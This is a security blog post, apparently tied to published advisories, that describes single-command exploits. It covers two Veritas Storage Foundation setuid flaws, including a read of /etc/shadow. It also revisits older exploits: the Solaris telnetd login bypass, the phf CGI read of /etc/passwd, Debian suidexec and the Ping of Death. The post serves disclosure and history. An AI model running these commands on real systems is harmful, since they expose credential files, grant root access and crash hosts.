Posts Tagged attack

Exploit One-Liners

Very Small Shell Scripts

Every once in a while there are security vulnerabilities publicized that can be exploited with a single command. This week, Security Objectives published advisories for two such vulnerabilities (SECOBJADV-2008-04 and SECOBJADV-2008-05) which I’ll be describing here. I’ll also be revisiting some one-line exploits from security’s past for nostalgia’s sake and because history tends to repeat itself.

Both issues that were discovered are related to Symantec’s Veritas Storage Foundation Suite. They rely on the default set-uid root bits being set on the affected binaries. Before Symantec and Veritas combined, Sun package manager prompted the administrator with an option of removing the set-id bits. The new Symantec installer just went ahead and set the bits without asking (how rude!)

On to the good stuff.. The first weakness is an uninitialized memory disclosure vulnerability. It can be leveraged like so:

/opt/VRTS/bin/qiomkfile -s 65536 -h 4096 foo

Now, the contents of file .foo (note that it is a dot-file) will contain uninitialized memory from previous file system operations–usually from other users. Sensitive information can be harvested by varying the values to the -s and -h flags over a period of time.

This next one is a bit more critical in terms of privilege escalation. It is somewhat similar to the Solaris srsexec hole from last year. Basically, you can provide any file’s pathname on the command line and have it displayed on stderr. As part of the shell command, I’ve redirected standard error back to standard output.

/opt/VRTSvxfs/sbin/qioadmin -p /etc/shadow / 2>&1

Some of these one-liner exploits can be more useful than exploits that utilize shellcode. Kingcope’s Solaris in.telnetd exploit is a beautiful example of that. The really interesting thing about that one was its resurrection–it originally became well-known back in 1994. In 2007, Kingcope’s version won the Pwnie award for best server-side bug.

telnet -l -fusername hostname

Let’s not forget other timeless classics such as the cgi-bin/phf bug, also from the mid-nineties:

lynx http://host.com/cgi-bin/phf?Qalias=/bin/cat%20/etc/passwd

..and Debian’s suidexec hole from the late nineties:

/usr/bin/suidexec /bin/sh /path/to/script


I’m not including exploits that have pipes/semi-colons/backticks/etc. in the command-line because that’s really more than one command being executed. Since the “Ping of Death” is a single command from a commonly installed system utility I’ll be including it here as well. I consider it a true denial of service attack since it does not rely on bandwidth exhaustion:

ping -s70000 -c1 host

EOF

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